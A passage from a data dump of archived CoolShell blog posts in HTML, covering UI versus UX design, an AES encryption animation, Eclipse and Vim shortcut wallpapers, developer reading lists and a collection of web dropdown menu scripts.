class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3437.html\"><img alt=\"一些杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/12/ediff-small-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3437.html\">一些杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3125.html\"><img alt=\"主流文本编辑器学习曲线\" height=\"150\" src=\"../wp-content/uploads/2010/10/horrorstories.txt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3125.html\">主流文本编辑器学习曲线</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2271.html\"><img alt=\"Emacs配色在线生成器\" height=\"150\" src=\"../wp-content/uploads/2010/03/emacs_color_theme-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2271.html\">Emacs配色在线生成器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1640.html\"><img alt=\"文件备份的几个简单命令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1640.html\">文件备份的几个简单命令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4270.html\"><img alt=\"Eclipse开发Android应用程序入门\" height=\"150\" src=\"../wp-content/uploads/2011/04/install-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4270.html\">Eclipse开发Android应用程序入门</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17061.html\"><img alt=\"Docker基础技术：AUFS\" height=\"150\" src=\"../wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17061.html\">Docker基础技术：AUFS</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3136.html\">chmod -x chmod的N种解法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-10-14 用户界面和用户体验的差别.html",
    "content": "<html><body><p><strong>用户界面设计</strong></p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_3144\" style=\"width: 300px;\"><img alt=\"\" class=\"size-full wp-image-3144\" height=\"312\" src=\"../wp-content/uploads/2010/10/UI.gif\" title=\"用户界面设计\" width=\"300\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-3144\">用户界面设计</figcaption></figure>\n<p><strong>用户体验设计</strong></p>\n<p><span id=\"more-3142\"></span></p>\n<p><figure class=\"wp-caption aligncenter\" id=\"attachment_3143\" style=\"width: 308px;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/10/UX.jpg\"><img alt=\"\" class=\"size-full wp-image-3143\" height=\"524\" src=\"../wp-content/uploads/2010/10/UX.jpg\" title=\"用户体验设计\" width=\"308\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-3143\">用户体验设计在便池上放一个假苍蝇会导致男人撒尿的时候会不由自主地瞄准它，有证据表明，这样的用户体验可以减少80%的小便溅出便池。</figcaption></figure><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4220.html\"><img alt=\"一些有意思的文章和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3877.html\"><img alt=\"另类UX让你输入强口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3877.html\">另类UX让你输入强口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/363.html\"><img alt=\"35个强大的UI设计教程\" height=\"150\" src=\"../wp-content/uploads/2009/04/18-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/363.html\">35个强大的UI设计教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21672.html\"><img alt=\"我做系统架构的一些原则\" height=\"150\" src=\"../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21672.html\">我做系统架构的一些原则</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17737.html\"><img alt=\"AWS 的 S3 故障回顾和思考\" height=\"150\" src=\"../wp-content/uploads/2017/03/Amazon-Web-Services-Down-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17737.html\">AWS 的 S3 故障回顾和思考</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3142.html\">用户界面和用户体验的差别</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-10-15 AES加密算法动画演示.html",
    "content": "<html><body><p>波士顿大学的<a href=\"http://www.cs.bc.edu/~straubin/\" target=\"_blank\">Howard Straubing</a>做了这么一个动画来展示AES加密算法的演示，挺不错的。</p>\n<p></p>\n<p></p><center><br/>\n<a href=\"https://coolshell.cn/wp-content/uploads/2010/10/rijndael_ingles2004.swf\" target=\"_blank\">点击这里看全屏</a><br/>\n</center><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n-->\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17066.html\"><img alt=\"关于移动端的钓鱼式攻击\" height=\"150\" src=\"../wp-content/uploads/2015/04/phishing-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17066.html\">关于移动端的钓鱼式攻击</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5987.html\"><img alt=\"如何设计“找回用户帐号”功能\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5987.html\">如何设计“找回用户帐号”功能</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/37.html\"><img alt=\"【引文】如何用Python往Google Spreadsheet上写数据\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/37.html\">【引文】如何用Python往Google Spreadsheet上写数据</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17029.html\"><img alt=\"Docker基础技术：Linux Namespace（下）\" height=\"150\" src=\"../wp-content/uploads/2015/04/jail_cell-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17029.html\">Docker基础技术：Linux Namespace（下）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1391.html\"><img alt=\"编程真难啊\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1391.html\">编程真难啊</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/410.html\"><img alt=\"1980年和2009年的1GB电脑内存的比较\" height=\"150\" src=\"../wp-content/uploads/2009/04/1gb-computer-memory-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/410.html\">1980年和2009年的1GB电脑内存的比较</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3161.html\">AES加密算法动画演示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-10-18 Eclipse和Vim快捷键桌面.html",
    "content": "<html><body><p>点击图片看大图</p>\n<p><figure class=\"wp-caption aligncenter\" id=\"attachment_3185\" style=\"width: 581px;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/10/EclipseCanoo1440x900.png\"><img alt=\"\" class=\"size-large wp-image-3185\" height=\"363\" src=\"../wp-content/uploads/2010/10/EclipseCanoo1440x900-1024x640.png\" title=\"Eclipse 快捷键桌面\" width=\"581\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-3185\">Eclipse 快捷键桌面</figcaption></figure><br/>\n<span id=\"more-3181\"></span><br/>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_3184\" style=\"width: 590px;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/10/vim-shortcuts.png\"><img alt=\"\" class=\"size-large wp-image-3184\" height=\"370\" src=\"../wp-content/uploads/2010/10/vim-shortcuts-1024x640.png\" title=\"vim 移动快捷键桌面\" width=\"590\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-3184\">vim 移动快捷键桌面</figcaption></figure><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1837.html\"><img alt=\"Eclipse 和 Vim\" height=\"150\" src=\"../wp-content/uploads/2009/11/eclim-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1837.html\">Eclipse 和 Vim</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11312.html\"><img alt=\"无插件Vim编程技巧\" height=\"150\" src=\"../wp-content/uploads/2014/03/success_vim-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11312.html\">无插件Vim编程技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7829.html\"><img alt=\"28个Unix/Linux的命令行神器\" height=\"150\" src=\"../wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7829.html\">28个Unix/Linux的命令行神器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7166.html\"><img alt=\"游戏：VIM大冒险\" height=\"150\" src=\"../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7166.html\">游戏：VIM大冒险</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3181.html\">Eclipse和Vim快捷键桌面</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-10-18 一些非常不错的资料.html",
    "content": "<html><body><p></p>\n<h4>一、<a href=\"http://www.intel.com/technology/rr/RRlist.pdf\" target=\"_blank\">Intel 给开发人员推荐的资料列表（2010年下半年）</a></h4>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_3197\" style=\"width: 500px;\"><a href=\"http://www.intel.com/technology/rr/RRlist.pdf\" target=\"_blank\"><img alt=\"\" class=\"size-full wp-image-3197\" height=\"317\" src=\"../wp-content/uploads/2010/10/Intel-Recommended-Books-for-Developers.jpg\" title=\"Intel Recommended Books for Developers\" width=\"500\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-3197\">Intel Recommended Books for Developers</figcaption></figure>\n<p>其中包含了</p>\n<ul>\n<li>硬件：硬件，电源，存储，无线</li>\n<li>软件：多线程和多核技术，高性能计算，图形游戏，用户关注</li>\n<li>嵌入式：设计，软件，操作系统，安全，优化。</li>\n<li>IT部门：策略和决策，服务器和数据中心，客户端</li>\n</ul>\n<p><span id=\"more-3192\"></span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #ffffff;\">－－</span></p>\n<h4>二、<a href=\"http://jqfundamentals.com/book/\" target=\"_blank\">jQuery Fundamentals</a></h4>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_3196\" style=\"width: 500px;\"><a href=\"http://jqfundamentals.com/book/\" target=\"_blank\"><img alt=\"\" class=\"size-full wp-image-3196\" height=\"314\" src=\"../wp-content/uploads/2010/10/jQuery-Fundamentals.jpg\" title=\"jQuery Fundamentals\" width=\"500\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-3196\">jQuery Fundamentals</figcaption></figure>\n<p>这可能是我见过写得最好的jQuery教程了，大量的示例，只是没有时间和精力，不然一定全部翻译过来。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_3195\" style=\"width: 500px;\"><img alt=\"\" class=\"size-full wp-image-3195\" height=\"263\" src=\"../wp-content/uploads/2010/10/jQuery-Fundamentals-Code-Example.jpg\" title=\"jQuery Fundamentals - Code Example\" width=\"500\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-3195\">jQuery Fundamentals - Code Example</figcaption></figure>\n<p>还有其它关于jQuery的文章，你还可以查看《<a href=\"https://coolshell.cn/articles/2964.html\" rel=\"bookmark\" target=\"_blank\">25个jQuery的编程小抄</a>》</p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #ffffff;\">－－</span></p>\n<h4>三、<a href=\"http://www.htdp.org/2003-09-26/Book/\" target=\"_blank\">How to Design Programs</a></h4>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_3194\" style=\"width: 500px;\"><a href=\"http://www.htdp.org/2003-09-26/Book/\" target=\"_blank\"><img alt=\"\" class=\"size-full wp-image-3194\" height=\"344\" src=\"../wp-content/uploads/2010/10/How-to-Design-Programs.jpg\" title=\"How to Design Programs\" width=\"500\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-3194\">How to Design Programs</figcaption></figure>\n<p>想学学如何设计程序吗？英国剑桥大学写的，MIT出版的，希望你能看看，非常不错。</p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #ffffff;\">－－</span></p>\n<h4>四、<a href=\"http://1code.codeplex.com/\" target=\"_blank\">Microsoft All-In-One Code Framework</a></h4>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_3193\" style=\"width: 500px;\"><a href=\"http://1code.codeplex.com/\" target=\"_blank\"><img alt=\"\" class=\"size-full wp-image-3193\" height=\"388\" src=\"../wp-content/uploads/2010/10/Microsoft-All-In-One-Code-Framework.jpg\" title=\"Microsoft All-In-One Code Framework\" width=\"500\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-3193\">Microsoft All-In-One Code Framework</figcaption></figure>\n<p>C++/C#/VB.NET的一站式代码和资料，还有coding standard，也是很不错的。</p>\n<p>——————————————————————</p>\n<p>查看《<a href=\"https://coolshell.cn/articles/2775.html\" rel=\"bookmark\">免费电子书列表</a>》查看更多的电子书。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4220.html\"><img alt=\"一些有意思的文章和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3270.html\"><img alt=\"两本电子书\" height=\"150\" src=\"../wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3270.html\">两本电子书</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2775.html\"><img alt=\"免费电子书列表\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2775.html\">免费电子书列表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2672.html\"><img alt=\".NET代码转换器\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2672.html\">.NET代码转换器</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3192.html\">一些非常不错的资料</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-10-20 30+ Web下拉菜单.html",
    "content": "<html><body><p>以前给大家介绍过<a href=\"https://coolshell.cn/articles/1660.html\" rel=\"bookmark\" target=\"_blank\">13个不错的Javascript和CSS的菜单</a>、<a href=\"https://coolshell.cn/articles/918.html\" rel=\"bookmark\" target=\"_blank\">20个优秀的Javascript导航技术</a>、<a href=\"https://coolshell.cn/articles/562.html\" rel=\"bookmark\" target=\"_blank\">30种时尚的CSS网站导航条</a>，今天在网上看到一篇文章其收集了30多个下拉菜单（分为两类，jQuery和CSS+Javascript的），转过来。</p>\n<p>原文：<a href=\"http://smashinghub.com/3-useful-drop-down-menu-scripts-to-enhance-header-navigation.htm\" target=\"_blank\">http://smashinghub.com/3-useful-drop-down-menu-scripts-to-enhance-header-navigation.htm</a></p>\n<h4>jQuery</h4>\n<h3><strong><a href=\"http://www.dynamicdrive.com/dynamicindex1/ddsmoothmenu.htm\"><strong>Smooth Navigation Menu</strong></a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5.jpg\"><img alt=\"Drop Down Menu Scripts 5 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4179\" height=\"300\" src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5.jpg\" title=\"Drop-Down-Menu-Scripts-5\" width=\"500\"/><br/>\n</a></strong></p>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5.jpg\"></a></strong></p>\n<p><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5.jpg\"></a></p>\n<p><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5.jpg\"> </a></p>\n<p><span id=\"more-3207\"></span></p>\n<p><strong><br/>\n</strong></p>\n<h3><strong> </strong><strong><a href=\"http://javascript-array.com/scripts/jquery_simple_drop_down_menu/\">Simple Drop Down Menu Plugin</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-6.jpg\"><img alt=\"Drop Down Menu Scripts 6 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4178\" height=\"300\" src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-6.jpg\" title=\"Drop-Down-Menu-Scripts-6\" width=\"500\"/></a><br/>\n</strong></p>\n<h3><strong><a href=\"http://www.filamentgroup.com/lab/jquery_ipod_style_and_flyout_menus/\">Dropdown, iPod Drilldown, and Flyout styles </a></strong></h3>\n<div><strong><br/>\n</strong></div>\n<div><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/drilldown.gif\"><img alt=\"drilldown 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4185\" height=\"360\" src=\"../wp-content/uploads/2010/10/drilldown.gif\" title=\"drilldown\" width=\"500\"/></a></div>\n<h3><strong><a href=\"http://designreviver.com/tutorials/jquery-css-example-dropdown-menu/\">jQuery and CSS Example</a><br/>\n</strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-7.jpg\"><img alt=\"Drop Down Menu Scripts 7 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4177\" height=\"300\" src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-7.jpg\" title=\"Drop-Down-Menu-Scripts-7\" width=\"500\"/></a><br/>\n</strong></p>\n<h3><strong> </strong><strong><a href=\"http://www.webdesigndev.com/web-development/create-the-fanciest-dropdown-menu-you-ever-saw\">Create the Fanciest Drop Down Menu You Ever Saw</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-8.jpg\"><img alt=\"Drop Down Menu Scripts 8 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4176\" height=\"300\" src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-8.jpg\" title=\"Drop-Down-Menu-Scripts-8\" width=\"500\"/></a><br/>\n</strong></p>\n<h3><strong><a href=\"http://net.tutsplus.com/tutorials/javascript-ajax/a-different-top-navigation/\">A Different Top Navigation</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-9.jpg\"><img alt=\"Drop Down Menu Scripts 9 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4174\" height=\"300\" src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-9.jpg\" title=\"Drop-Down-Menu-Scripts-9\" width=\"500\"/></a><br/>\n</strong></p>\n<h3><strong> </strong><strong><a href=\"http://css-tricks.com/simple-jquery-dropdowns/\">Simple jQuery Dropdowns</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-15.jpg\"><img alt=\"Drop Down Menu Scripts 15 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4169\" height=\"300\" src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-15.jpg\" title=\"Drop-Down-Menu-Scripts-15\" width=\"500\"/></a><br/>\n</strong></p>\n<h3><strong><a href=\"http://www.noupe.com/tutorial/drop-down-menu-jquery-css.html\"><strong>Sexy Drop Down Menu with jQuery and CSS</strong></a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-1.jpg\"><img alt=\"Drop Down Menu Scripts 1 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4183\" height=\"300\" src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-1.jpg\" title=\"Drop-Down-Menu-Scripts-1\" width=\"500\"/></a><br/>\n</strong></p>\n<h3><strong><a href=\"http://net.tutsplus.com/tutorials/html-css-techniques/how-to-create-a-drop-down-nav-menu-with-html5-css3-and-jquery/\"><strong>How to Create a Drop Down Nav Menu with HTML5, CSS3, and jQuery</strong></a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-31.jpg\"><img alt=\"Drop Down Menu Scripts 31 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4182\" height=\"300\" src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-31.jpg\" title=\"Drop-Down-Menu-Scripts-3\" width=\"500\"/></a><br/>\n</strong></p>\n<h3><strong><a href=\"http://www.jankoatwarpspeed.com/post/2009/07/28/reinventing-drop-down-with-css-jquery.aspx\">Reinventing a Drop Down with CSS and jQuery</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-14.jpg\"><img alt=\"Drop Down Menu Scripts 14 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4168\" height=\"300\" src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-14.jpg\" title=\"Drop-Down-Menu-Scripts-14\" width=\"500\"/></a><br/>\n</strong></p>\n<h3><strong> </strong><strong><a href=\"http://users.tpg.com.au/j_birch/plugins/superfish/\">Superfish</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-13.jpg\"><img alt=\"Drop Down Menu Scripts 13 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4170\" height=\"300\" 